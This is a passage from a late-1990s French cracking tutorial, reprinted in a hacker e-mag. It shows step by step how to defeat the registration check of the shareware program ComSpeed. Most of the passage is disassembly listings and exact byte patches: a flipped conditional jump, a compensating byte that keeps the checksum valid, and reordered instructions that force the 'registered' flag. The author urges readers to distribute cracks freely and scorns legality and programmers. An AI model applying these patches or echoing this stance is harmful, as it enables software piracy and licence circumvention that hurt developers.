l'adresse 0011.0271. Juste après, on trouve la procédure CodeFalse_ en 0011.02A4.
Jettons un oeil sur "CodeOk_":
:0011.0262 9AFFFF0000 call 0012.02E5h
:0011.0267 08C0 or al , al
:0011.0269 7433 je 029E ;< Excellent
:0011.026B FF76F0 push word ptr [bp+F0]
:0011.026E FF76EE push word ptr [bp+EE]
* Possible StringData Ref from Data Seg 017 ->"CODEOK_%s" ;< **ICI**
:0011.0271 BFF104 mov di, 04F1
:0011.0274 1E push ds
On trouve un joli saut conditionnel (je 029E) qui nous enverra sur la procedure "CodeFALSE_"
si le mot de passe est incorrect.
On le change:
:0011.0269 7533 jne 029E
Maintenant le programme ira sur "CodeOK_" quand le mot de passe sera faux.
Lancez ComSpeed après cette modification faite avec un éditeur hexadécimal:
Le programme refuse de démarrer et vous dit:
"The .exe file has been modified! That can be a Virus...".
Vous vous souvenez de "VIRUS_" que nous avions trouvé dans la liste des 'String References
Datas'??
C'est un CheckSum. Le programme additionne les bytes et vérifie le résultat.
Facile a contourner:
Nous avons changé un 74 (je) par un 75 (jne) donc nous allons modifier le 33 qui le suit:
Nous avions:
:0011.0269 7533
On le change avec:
:0011.0269 7532
Au départ nous avions 74+33 et maintenant 75+32: ça donne le même résultat. On se fiche pas
mal de modifier l'adresse du saut puis le programme n'exécutera jamais ce saut (sauf si
vous entrez le bon mot de passe)
Après, on relance ComSpeed: Ca marche.
Essayez de vous enregistrer (Shareware/Enter Code...). Entrez votre nom et n'importe quel
mot de passe puis appuyez sur OK. Là encore, ça marche.
Maintenant quittez ComSpeed puis relancez-le: Il n'est plus enregistré.
En fait nous ne nous sommes débarassé que de la procédure de vérification du mot de passe
entré au clavier. Le progamme vérifie au démarrage le mot de passe (qu'il lit dans
ComSpeed.ini) avec le bon mot de passe.
Etait-ce donc nécessaire de craquer cette partie? Non, mais ça ne nous a pris que 5mn et
maintenant si vous ouvrez ComSpeed.ini, vous saurez de qu'elle manière le programme y
inscrit votre nom et mot de passe:
SwName=_Votre_Nom
SwCode=_Votre_Mot_De_Passe
Bon, maintenant c'est le moment de faire marcher sa cervelle.
On étant ses pieds sous le bureau, on remonte les manches, on s'allume une cigarette....et
on se concentre:
Regardez le menu de ComSpeed.
Il y a:
File / Com-Port() / Shareware / Help.
Vous avez peut-etre remarqué (n'est-ce pas?) que quand vous vous êtez enregistré il y a
quelques minutes celui-ci s'est tranformé en:
File / Com-Port() / Help.
Et oui, 'Shareware' disparait de la barre des menus quand le programme est enregistré.
Execellent!
On retourne dans W32Dasm6:
Appuyez dans la barre à outils sur le boutton 'Imports Functions'.
Une liste de toutes les fonctions de Windows (les API) qui sont utilisées par ComSpeed
s'y trouve. Elles permettent, entre autre, a un programme d'utiliser une interface
graphique 100% Windows...
Pour créer une Barre des Menus, un programme Windows doit appeller la fonction
USER!DrawMenuBar. Cliquez sur elle (dans la liste) plusieurs fois pour localiser tous
les appels à celle-ci dans ComSpeed.
On ne trouve que deux appels.
Le deuxième est tout a fait intéressant:
:0001.1756 9AFFFF0000 call 0011.0122h
:0001.175B 803ED00400 cmp byte ptr [04D0], 00 ; < 04D0=0??
:0001.1760 7531 jne 1793 ; < Si <>0 alors 'Unregistered'
:0001.1762 FF363C0A push word ptr [0A3C]
:0001.1766 FF363A0A push word ptr [0A3A]
:0001.176A 9AFFFF0000 call 0006.0044h
:0001.176F FF363407 push word ptr [0734]
:0001.1773 6A02 push 0002
:0001.1775 680004 push 0400
:0001.1778 9AFFFF0000 call USER.DELETEMENU ; < Efface Menu car 'Registered'
:0001.177D FF760E push word ptr [bp+0E]
:0001.1780 9AFFFF0000 call USER.DRAWMENUBAR ; < **ICI**
:0001.1785 FF760E push word ptr [bp+0E]
:0001.1788 6A00 push 0000
On voit que USER!DeleteMenu va effacer la barre des menus et tout de suite derrière,
DrawMenuBar va en créér une autre toute jolie sans le mot 'Shareware'.
Au dessus, on trouve encore un saut conditionel (Jne 1793) qui, si 04D0 est différent de 0
nous fera sauter par dessus ces deux fonctions.
On en déduit tout simplement que si 'byte ptr [04D0] = 0' alors le programme est
'Registered'.
Si vous cherchez 'cmp byte ptr [04D0], 00' dans le listing de ComSpeed, vous le trouverez
10 fois.
Maintenant, on va chercher l'instruction qui va écrire à l'adresse 04D0:
Cherchez: 04D0
On en trouve une seule:
:0011.0D27 9AFFFF0000 call 0012.02E5h
:0011.0D2C 08C0 or al , al
:0011.0D2E B000 mov al, 00 ; al:=0
:0011.0D30 7501 jne 0D33 ; Rien à cirer
:0011.0D32 40 inc ax ; al:=al+1
:0011.0D33 A2D004 mov [04D0], al ; **ICI** 04D0=al
:0011.0D36 803ED00400 cmp byte ptr [04D0], 00 ; Encore!
:0011.0D3B 7527 jne 0D64 ; Si 04D0<>0 =>Unregistered
:0011.0D3D FF36D404 push word ptr [04D4]
:0011.0D41 FF36D204 push word ptr [04D2]
Et voila M'sieurs Dames.
Devons nous changer le 'jne 0D64' avec un 'je 0D64'? Non. N'oubliez pas le checksum et
le fait que vous devriez changer les 10 sauts conditionels suivants les 10 'cmp byte
ptr [04D0], 00'.
Pour ce type de crack j'utilise toujours le même vieux truc:
Etant donné qu'on ne peut pas modifier trop de bytes en raison du checksum, rien
(mais alors vraiment rien) ne nous empêche d'intervertir les intructions.
Exemple:
Nous avions:
:0011.0D2E B000 mov al, 00
:0011.0D30 7501 jne 0D33
:0011.0D32 40 inc ax
:0011.0D33 A2D004 mov [04D0], al
:0011.0D36 803ED00400 cmp byte ptr [04D0], 00
:0011.0D3B 7527 jne 0D64
Peut être changé en:
:0011.0D2E 7501 jne 0D31 ; Toujours rien à cirer
:0011.0D30 40 inc ax ; al:=al+1
:0011.0D31 B000 mov al, 00 ; al:=0 < Voila!
:0011.0D33 A2D004 mov [04D0], al
:0011.0D36 803ED00400 cmp byte ptr [04D0], 00
:0011.0D3B 7527 jne 0D64
Maintenant "al:=0" et l'instruction "mov [04D0], al" donnera la valeur 0 (donc 'Registered')
dans "04D0".
ComSpeed ne s'appercevra jamais de ces modifications et le résultat de "cmp byte
ptr [04D0], 00" sera toujours VRAI et ceci tout au long du programme.
ComSpeed est maintenant enregistré.
3/ CONSEILS
Que choisir : Live Approach ou Dead Listing??
Personne ne pourra vous répondre....
Effectivement, chaque Cracker a ses préférences.
Moi, je commence toujours avec SoftIce (v3.01) histoire de savoir ce que fait le programme,
ses differents appels aux API...bref juste pour savoir a qui j'ai a faire.
Je verifie aussi qu'il n'est pas écrit (mal-écrit) en Visual Basic (tout bon programmeur
n'écrit JAMAIS en Visual Basic) puis je le désassemble car cette technique est la plus cool
et la plus zen des deux (passer des heures devant l'écran de SoftIce peut se révéler assez
pénible tandis que désassembler un fichier puis imprimer les parties de code intéressantes
pour aller les étudier (et les craquer) à la terrasse d'un café sur les Quais de la Mégisserie
en buvant une Leffe fait partie des ces habitudes qui rendent la vie du cracker tellement
plus agréable...:-).
Chacun ses gouts.
De toute façon, l'idéal est de combiner ces deux techniques pour pouvoir TOUT craquer.
Attention: Certains programmes (de plus en plus) détectent si SoftIce est chargé et
risquent de vous planter ou rebooter. Mais d'autres (ou les mêmes une fois qu'ils se seront
débarasser de SoftIce) vous planteront si tentez vous les désassembler.
C'est le cas de SmartDraw v3.11 Win95. Si vous essayez de craquer ce programme en le traçant
avec SoftIce vous avez de grandes chances pour qu'il vous plante et soyez obligé de rebooter.
De plus il est impossible de le désassembler (toutes versions de W32Dasm confondues).
En fait, les auteurs de tels logiciels n'écrivent pas cette protection mais font appel à des
programmes de protection très couteux (EverLock, Copy Control) qu'ils intègrent à leurs
softs.
C'est généralement suffisant pour faire abandonner les petits crackers. Mais ne vous
dégonflez pas:
Vous n'avez pas besoin de SoftIce ou W32Dasm pour craquer SmartDraw. Avec un simple éditeur
hexadécimal (comme HexWorkShop) il ne vous faudra pas plus de 5mn pour le craquer à 90%.
Mais cela sera pour plus tard...ne grillez pas les étapes. Prennez et craquez des logiciels
de votre niveau (comme ComSpeed) pour l'instant.
Dès que vous aurez craqué votre programme, executez le avec SoftIce de nombreuses fois pour
être sûr de n'avoir rien oublié (en craquant à un endroit on peut déclencher ulterieurement
une autre protection "cachée"...) bref VERIFIEZ que votre crack est totalement FIABLE.
Dès que votre crack est bon, DISTRIBUEZ-LE (gratuitement evidemment) a tous ceux qui ne
peuvent pas s'acheter le programme enregitré et aussi aux crétins qui ne seraient même pas
capables de réaliser 1/10e de votre crack. Et surtout EVITEZ les trucs du genre:
-"Je vous passe ce crack mais vous n'avez pas le droit de vous en servir, c'est illégal".
ou bien:
-"Moi je crack des programmes? Oui bien sûr, mais quand je les utilises longtemps
je m'enregistre auprès de leurs auteurs".
CA VA PAS, NON??!!!
On est des CRACKERS, des VRAIS, des DURS, des PURS.
Qui vous a parlé de "légalité"? Pourquoi faire confiance à un crétin de programmeur alors
qu'il n'a même pas été capable d'écrire un bon schéma de protection puisque vous l'aurez
craqué en 5mn? Vous acheteriez un programme à un type comme ça vous? Moi non.
4/ LIVRES
Vous trouverez de très nombreux ouvrages sur l'informatique et le PC mais peu sont réellement
adaptés à nos besoins. En voici donc 2 particulièrement indispensables et faciles a trouver:
-Assembleur:
"Assembleur Pratique" - de Bernard Fabrot chez Marabout Collection "Best-Sellers de
l'informatique" 1996.
Pour un prix modeste de 50 balles et un format livre de poche, c'est a mon avis ce qui ce fait
de mieux pour apprendre ce merveilleux langage. Destiné au mode 32 bits, cette mise à jour
succède à "Assembleur facile" ( de P.Mercier qui avait écrit de très bons ouvrages sur le BIOS
et la programmation DOS:=) qui lui ne concernait que le 16 bits. Ils ont bien fait de
changer le titre pour cette nouvelle version! N'essayez pas de l'apprendre par coeur, vous
n'y arriverez pas. Contentez-vous de l'avoir sous la main à chaque fois que vous rencontrerez
un instruction que vous ne connaissez pas, et ça finira bien par rentrer...
-API:
"Programmation des API -Windows 95 Win32" de Richard Simon chez Simon & Schuster
Macmillan
France - coll. "Secrets d'experts" (+ CD-ROM).
Là, il vous faudra dépenser 399FF (je vous ai déjà fait économiser $11 en vous apprenant a
craquer ComSpeed!! :=) mais il vaut bien son prix car je n'en n'ai jamais trouver d'autres
aussi complets. Tout y est classé par catégorie (E/S, Menus, Boites de dialogue, registre...)
et très bien détaillé. De nombreux exemples sur le CD-ROM avec leur source. Très bien.
Voila, d'autres cours suivronts ...
Frog's Print -06/97
(http://www.ThePentagon.com/frog_s_print)
PS: J'allais oublier, ouvrez le fichier ComSpeed.ini et a coté des lignes suivantes
rajoutez votre nom:
SwName=Mettez_Votre_Nom
SwCode=Merci_Frog's_Print
Lancez ensuite ComSpeed et appuyez sur 'Help' - 'About' et le tour est joué...
Voilà cet E-mag est fini! Vous pouvez m'écrire à: clad_strife@hotmail.com
Clad Strife
page d'acceuille hackers 2020